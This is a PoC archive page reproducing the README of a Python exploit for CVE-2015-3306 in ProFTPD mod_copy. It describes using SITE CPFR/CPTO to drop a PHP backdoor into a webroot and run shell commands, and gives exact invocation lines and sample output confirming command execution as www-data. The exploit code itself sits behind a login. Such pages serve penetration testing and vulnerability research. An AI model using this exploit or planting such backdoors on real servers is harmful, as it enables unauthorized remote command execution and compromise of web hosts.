Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2015-3306 PoC — ProFTPD mod_copy模块信息泄露漏洞

Source
Associated Vulnerability
Title: ProFTPD mod_copy模块信息泄露漏洞 (CVE-2015-3306)
Description:The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
Readme
# CVE-2015-3306 ProFTPD Exploit

This repository contains a Python proof-of-concept (PoC) exploit for **CVE-2015-3306** 

> ⚠️ **Warning:** Only use this against systems you own or have explicit permission to test. Unauthorized exploitation is illegal.

---

## Author

**Mohamed EL-KHAROUATI**

---

## Part 1: CVE-2015-3306 ProFTPD Exploit

### Description

CVE-2015-3306 is a directory traversal vulnerability in ProFTPD 1.3.5b and earlier. This exploit allows copying arbitrary files and dropping a PHP backdoor into the webroot. The backdoor can execute arbitrary shell commands.

### Features

- Exploits the directory traversal vulnerability via the `SITE CPFR/CPTO` FTP commands.
- Drops a PHP backdoor (`backdoor.php`) into the specified webroot.
- Executes arbitrary shell commands through the backdoor.
- Supports custom commands via `--rcommand`.

### Requirements

- Python 3.x
- `requests` library (`pip install requests`)

### Usage, Output, and Cleanup (Single Code Block)

```bash
# Run the exploit
python3 exploit.py --rhost <target_ip> --rport <ftp_port> --rpath <web_root_path> --rcommand <shell_command>

# Example:
python3 exploit.py --rhost <target_ip> --rport <targetftp_port> --rpath /var/www/html --rcommand whoami

# Expected Output:
[+] CVE-2015-3306 exploit by Mohamed EL-KHAROUATI
[+] Exploiting <target_ip> 
[+] Running Command whoami
[+] Target exploited, accessing shell at http://<target_ip> /backdoor.php
[+] Running whoami: www-data
[+] Done


File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →